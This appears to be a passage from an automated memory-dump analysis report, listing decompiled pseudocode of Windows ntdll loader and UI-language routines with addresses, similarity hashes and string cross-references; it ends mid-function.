HEAP: , xrefs: 00A94A4A, 00A94A5D, 00A94A5F, 00A94AC4

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 2994545307-336120773
Opcode ID: 5eb264870419ea1d69253da3dfb9f0f9bd005bf724127483c95d96a25bf3c782
Instruction ID: 0b5b66bbe58289d0036e133fcd3c6285e8634bf24af514f297fb4f6e7bd602ce
Opcode Fuzzy Hash: 5eb264870419ea1d69253da3dfb9f0f9bd005bf724127483c95d96a25bf3c782
Instruction Fuzzy Hash: 9F310631384110EFCB10DB58C999F6777F8EF48BA4F25415AF405DBAA2D770AC41C669

Uniqueness

Uniqueness Score: -1.00%

Function 009E8794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E009E8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E009E934A() != 0) {
								_t159 = E00A5A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0xac5780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E00A55510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0xac5780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E009E849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E009E8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E009E8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0xac5c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0xac5c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E009F2280(_t92, 0xac86cc);
															_t94 = E00AA9DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E00A061A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0xac5c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E009E8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0xac5c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0xac5c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E00A1F380(_t136, 0x9b1184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E009F2280(_t108, 0xac86cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E00A061A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E00AA9D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E009EFFB0(_t118, _t156, 0xac86cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E00A19A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x009e8799
0x009e879d
0x009e87a1
0x009e87a3
0x009e87a8
0x009e87c3
0x009e87c3
0x009e87c8
0x009e87d1
0x009e87d4
0x009e87d8
0x009e87e5
0x009e87ec
0x00a39bfe
0x00a39c00
0x00a39c02
0x00a39c08
0x00a39c0d
0x00a39c0f
0x00a39c14
0x00a39c2d
0x00a39c32
0x00a39c37
0x00a39c3a
0x00a39c3c
0x00a39c42
0x00a39c42
0x00a39c3c
0x00a39c02
0x009e87da
0x009e87df
0x009e87e3
0x00000000
0x00000000
0x009e87e3
0x009e87f2
0x00000000
0x009e87fb
0x009e87fd
0x009e87fe
0x009e880e
0x009e880f
0x009e8810
0x009e8814
0x009e881a
0x009e881c
0x009e881f
0x009e8821
0x009e8822
0x009e8824
0x009e8826
0x009e882c
0x009e882e
0x00a39c48
0x00a39c48
0x009e8834
0x009e8834
0x009e8837
0x00000000
0x00000000
0x009e8837
0x009e882e
0x009e883d
0x009e8840
0x009e8843
0x009e8846
0x009e8849
0x009e884c
0x009e884e
0x009e8850
0x009e8852
0x009e8854
0x009e8857
0x009e88b4
0x009e88b6
0x009e88b6
0x009e8859
0x009e8859
0x009e8859
0x009e8861
0x009e8866
0x009e886a
0x009e893d
0x009e8941
0x00000000
0x009e8947
0x009e8947
0x009e894a
0x009e894c
0x00000000
0x009e8952
0x009e8955
0x009e895a
0x009e895d
0x009e895d
0x009e895f
0x009e8961
0x009e8961
0x009e8968
0x00000000
0x00000000
0x009e896a
0x009e896b
0x009e896e
0x00000000
0x009e8970
0x009e8970
0x009e8970
0x009e8970
0x009e8972
0x009e8972
0x009e8974
0x00000000
0x009e897a
0x009e897a
0x009e897d
0x00000000
0x009e8983
0x00a39c65
0x00a39c6d
0x00a39c72
0x00a39c75
0x00a39c75
0x00a39c82
0x00a39c86
0x00a39c87
0x00a39c88
0x00a39c89
0x00a39c8c
0x00a39c90
0x00a39c95
0x00a39c97
0x00a39ca0
0x00a39ca3
0x00a39ca9
0x00a39ca9
0x00000000
0x00a39ca9
0x00a39ca3
0x00000000
0x00a39c97
0x009e897d
0x00000000
0x009e8974
0x009e8988
0x009e8992
0x009e8996
0x00000000
0x009e8996
0x009e894c
0x00000000
0x009e8870
0x009e887b
0x009e887d
0x009e887f
0x009e8881
0x009e8884
0x009e8884
0x009e8886
0x009e8889
0x009e888c
0x009e888e
0x009e8891
0x009e8891
0x009e8898
0x00000000
0x00000000
0x009e889a
0x009e889b
0x009e889e
0x00000000
0x00000000
0x009e88a0
0x009e88a8
0x009e88b0
0x009e88b2
0x009e88d3
0x009e88d5
0x00000000
0x009e88d7
0x009e88db
0x009e88dc
0x009e88e0
0x009e88e8
0x009e88ee
0x009e88f0
0x009e88f3
0x009e88fc
0x009e8901
0x009e8906
0x009e890c
0x009e890c
0x009e890f
0x009e8916
0x009e8917
0x009e8918
0x009e8919
0x009e891a
0x009e891f
0x009e8921
0x00a39c52
0x00a39c55
0x00a39c5b
0x00a39cac
0x00a39cc0
0x00a39cc0
0x00a39c55
0x009e8927
0x009e8927
0x009e892f
0x009e8933
0x00000000
0x009e88f5
0x009e88f5
0x00000000
0x009e88f7
0x009e88f7
0x009e88fa
0x00000000
0x00000000
0x00000000
0x00000000
0x009e88fa
0x009e88f5
0x009e88f3
0x00000000
0x009e88d5
0x00000000
0x009e88b2
0x009e88c9
0x00000000
0x009e88c9
0x009e887f
0x009e886a
0x009e8857
0x009e8852
0x009e88bf
0x009e88bf
0x009e87aa
0x009e87ad
0x009e87ae
0x009e87b4
0x009e87b5
0x009e87b6
0x009e87b8
0x009e87bd
0x009e87c1
0x009e87f4
0x009e87fa
0x00000000
0x00000000
0x00000000
0x009e87c1
0x00000000

Strings

LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 00A39C18
minkernel\ntdll\ldrsnap.c, xrefs: 00A39C28
LdrpDoPostSnapWork, xrefs: 00A39C1E

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 2994545307-1948996284
Opcode ID: 8da801fb46a09c84e6efc1a4d5b1b8199aec4880c7e870144466b368d05c1764
Instruction ID: fb2c07fe4352b6dbe5d202b2436844cab355ea514c0424c8453210905588f19d
Opcode Fuzzy Hash: 8da801fb46a09c84e6efc1a4d5b1b8199aec4880c7e870144466b368d05c1764
Instruction Fuzzy Hash: 32911431A0025A9FDF1ADF9AC981ABB73B9FF84314B554069EC19AB251DF30ED41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 009E7E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E009E7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E009ECEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E009DC9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0xac5780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E00A55510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0xac5780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E009F7D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E009F7D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E00A57016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E009F7D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E009F7D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E00A57016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E00A0A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E009DB1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x009e7e4c
0x009e7e50
0x009e7e55
0x009e7e58
0x009e7e5d
0x009e7e71
0x009e7f33
0x009e7e77
0x009e7e77
0x009e7e79
0x009e7e79
0x009e7e7e
0x009e7f45
0x00a39848
0x00000000
0x00a39848
0x009e7f4e
0x009e7f53
0x009e7f5a
0x00000000
0x00000000
0x00a3985a
0x00a39862
0x00a39866
0x00000000
0x00a3986c
0x00000000
0x00a3986c
0x009e7e84
0x009e7e84
0x009e7e8d
0x00a39871
0x009e7eb8
0x009e7ec0
0x009e7ec0
0x009e7e9a
0x00a3987e
0x00000000
0x00000000
0x00a39884
0x00a3988b
0x00a398a7
0x00a398ac
0x00a398b1
0x00a398b6
0x00a398b8
0x00a398b8
0x00a398b9
0x00000000
0x00a398b9
0x009e7ea0
0x009e7ea7
0x00000000
0x00000000
0x009e7eac
0x009e7eb1
0x009e7ec6
0x009e7ed0
0x00a398cc
0x009e7ed6
0x009e7ed6
0x009e7ed6
0x009e7ede
0x009e7ee3
0x00a398e3
0x00a398f0
0x00a39902
0x00a398f2
0x00a398fb
0x00a398fb
0x00a39907
0x00a3991d
0x00a3991d
0x00a39907
0x00a398e3
0x009e7ef0
0x009e7f14
0x009e7f14
0x009e7f1e
0x00a39946
0x009e7f24
0x009e7f24
0x009e7f24
0x009e7f2c
0x00a3996a
0x00a39975
0x00a39975
0x00a3997e
0x00a39993
0x00a39993
0x00a3997e
0x00000000
0x009e7ef2
0x009e7efc
0x009e7f0a
0x009e7f0e
0x00a39933
0x00000000
0x00a39933
0x00000000
0x009e7f0e
0x00000000
0x00000000
0x00000000
0x009e7eb1

Strings

LdrpCompleteMapModule, xrefs: 00A39898
minkernel\ntdll\ldrmap.c, xrefs: 00A398A2
Could not validate the crypto signature for DLL %wZ, xrefs: 00A39891

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 35ca1d902892ae519cc3026e2505e92dd3d90a556f8326b5fbb51ae4db901d24
Instruction ID: 00672230e26c00101180c7b98fa2e4569afaea16721d370a39a7e8455ed400be
Opcode Fuzzy Hash: 35ca1d902892ae519cc3026e2505e92dd3d90a556f8326b5fbb51ae4db901d24
Instruction Fuzzy Hash: 18510331A087859BEB22CBA9C944B6AB7E8FF41314F140999F9519B3E2D774ED00C792

Uniqueness

Uniqueness Score: -1.00%

Function 009DE620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E009DE620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E009DF358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E00A195D0();
						}
						if(_t78 != 0) {
							L009F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E00A1FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E00A1BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E00A19600();
					if(_t97 < 0) {
						goto L6;
					}
					E00A1BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L009DF018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E00A1BB40(_t83, _t102 + 0x24, _t78);
								if(L009E43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E00A1BB40(_t84, _t102 + 0x24, _t94);
									if(L009E43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x009de620
0x009de628
0x009de62f
0x009de631
0x009de635
0x009de637
0x009de63e
0x00a35503
0x00a35503
0x009de64c
0x009de64c
0x009de651
0x00000000
0x00000000
0x009de661
0x009de665
0x00a3542a
0x009de715
0x009de71a
0x009de71c
0x009de720
0x009de720
0x009de727
0x009de736
0x009de736
0x009de743
0x009de743
0x009de673
0x009de678
0x009de67d
0x009de682
0x009de685
0x009de692
0x009de69b
0x009de6a3
0x009de6ad
0x009de6b1
0x009de6b2
0x009de6bb
0x009de6bf
0x009de6c0
0x009de6c8
0x009de6cc
0x009de6d5
0x009de6d9
0x00000000
0x00000000
0x009de6e5
0x009de6ea
0x009de6f9
0x009de70b
0x009de70f
0x00a35439
0x00a3545e
0x00a3545e
0x00000000
0x00a3545e
0x00a3543b
0x00a3543e
0x00a35440
0x00a35445
0x00a35472
0x00a35475
0x00a3548d
0x00a35493
0x00a354a9
0x00000000
0x00000000
0x00a354ab
0x00a354b4
0x00a354bc
0x00a354c8
0x00a354de
0x00a354fb
0x00a354e0
0x00a354e6
0x00a354eb
0x00a354eb
0x00a354de
0x00000000
0x00a354bc
0x00a35477
0x00a3547a
0x00a35480
0x00a35483
0x00a35486
0x00a3548b
0x00000000
0x00000000
0x00000000
0x00a3548b
0x00000000
0x00000000
0x00000000
0x00000000
0x00a35447
0x00a35447
0x00a35447
0x00a35447
0x00a3544e
0x00000000
0x00000000
0x00a35450
0x00a35452
0x00a35455
0x00a3545a
0x00000000
0x00000000
0x00000000
0x00a3545c
0x00a3546a
0x00a3546d
0x00a3546f
0x00000000
0x00a3546f
0x009de70f

Strings

InstallLanguageFallback, xrefs: 009DE6DB
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 009DE68C
@, xrefs: 009DE6C0

Memory Dump Source

Source File: 00000001.00000002.717182815.00000000009B0000.00000040.00000001.sdmp, Offset: 009B0000, based on PE: true

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: 46554395dda06b3a66ffad7fa3dab2bf3db7200a1c8262311b5726002ff7fd5f
Instruction ID: 26ac41fa73c1d0000de37aec49ae9f81444cdcee4beb302270d397145c7e2bc1
Opcode Fuzzy Hash: 46554395dda06b3a66ffad7fa3dab2bf3db7200a1c8262311b5726002ff7fd5f
Instruction Fuzzy Hash: 59519EB69083459BC714EF68C450AABB3E9BF88714F05492EF999D7240FB34DE44C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00A0FAB0, Relevance: 2.8, Strings: 2, Instructions: 306
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00A0FAB0(void* __ebx, void* __esi, signed int _a8, signed int _a12) {
				char _v5;
				signed int _v8;
				signed int _v12;
				char _v16;
				char _v17;
				char _v20;
				signed int _v24;
				char _v28;
				char _v32;
				signed int _v40;
				void* __ecx;
				void* __edi;
				void* __ebp;
				signed int _t73;
				intOrPtr* _t75;
				signed int _t77;
				signed int _t79;
				signed int _t81;
				intOrPtr _t83;
				intOrPtr _t85;
				intOrPtr _t86;
				signed int _t91;
				signed int _t94;
				signed int _t95;
				signed int _t96;
				signed int _t106;
				signed int _t108;
				signed int _t114;
				signed int _t116;
				signed int _t118;
				signed int _t122;
				signed int _t123;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t134;
				signed int _t138;
				signed int _t141;
				signed int _t147;
				intOrPtr _t153;
				signed int _t154;
				signed int _t155;
				signed int _t170;
				void* _t174;
				signed int _t176;
				signed int _t177;

				_t129 = __ebx;
				_push(_t132);
				_push(__esi);
				_t174 = _t132;
				_t73 =  !( *( *(_t174 + 0x18)));
				if(_t73 >= 0) {
					L5:
					return _t73;
				} else {
					E009EEEF0(0xac7b60);
					_t134 =  *0xac7b84; // 0x771c7b80
					_t2 = _t174 + 0x24; // 0x24
					_t75 = _t2;
					if( *_t134 != 0xac7b80) {
						_push(3);
						asm("int 0x29");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_push(0xac7b60);
						_t170 = _v8;
						_v28 = 0;
						_v40 = 0;
						_v24 = 0;
						_v17 = 0;
						_v32 = 0;
						__eflags = _t170 & 0xffff7cf2;
						if((_t170 & 0xffff7cf2) != 0) {
							L43:
							_t77 = 0xc000000d;
						} else {
							_t79 = _t170 & 0x0000000c;
							__eflags = _t79;
							if(_t79 != 0) {
								__eflags = _t79 - 0xc;
								if(_t79 == 0xc) {
									goto L43;
								} else {
									goto L9;
								}
							} else {
								_t170 = _t170 | 0x00000008;
								__eflags = _t170;
								L9:
								_t81 = _t170 & 0x00000300;
								__eflags = _t81 - 0x300;
								if(_t81 == 0x300) {
									goto L43;
								} else {
									_t138 = _t170 & 0x00000001;
									__eflags = _t138;
									_v24 = _t138;
									if(_t138 != 0) {
										__eflags = _t81;
										if(_t81 != 0) {
											goto L43;
										} else {
											goto L11;
										}
									} else {
										L11:
										_push(_t129);
										_t77 = E009E6D90( &_v20);
										_t130 = _t77;
										__eflags = _t130;
										if(_t130 >= 0) {
											_push(_t174);
											__eflags = _t170 & 0x00000301;
											if((_t170 & 0x00000301) == 0) {
												_t176 = _a8;
												__eflags = _t176;
												if(__eflags == 0) {
													L64:
													_t83 =  *[fs:0x18];
													_t177 = 0;
													__eflags =  *(_t83 + 0xfb8);
													if( *(_t83 + 0xfb8) != 0) {
														E009E76E2( *((intOrPtr*)( *[fs:0x18] + 0xfb8)));
														 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = 0;
													}
													 *((intOrPtr*)( *[fs:0x18] + 0xfb8)) = _v12;
													goto L15;
												} else {
													asm("sbb edx, edx");
													_t114 = E00A78938(_t130, _t176, ( ~(_t170 & 4) & 0xffffffaf) + 0x55, _t170, _t176, __eflags);
													__eflags = _t114;
													if(_t114 < 0) {
														_push("*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!\n");
														E009DB150();
													}
													_t116 = E00A76D81(_t176,  &_v16);
													__eflags = _t116;
													if(_t116 >= 0) {
														__eflags = _v16 - 2;
														if(_v16 < 2) {
															L56:
															_t118 = E009E75CE(_v20, 5, 0);
															__eflags = _t118;
															if(_t118 < 0) {
																L67:
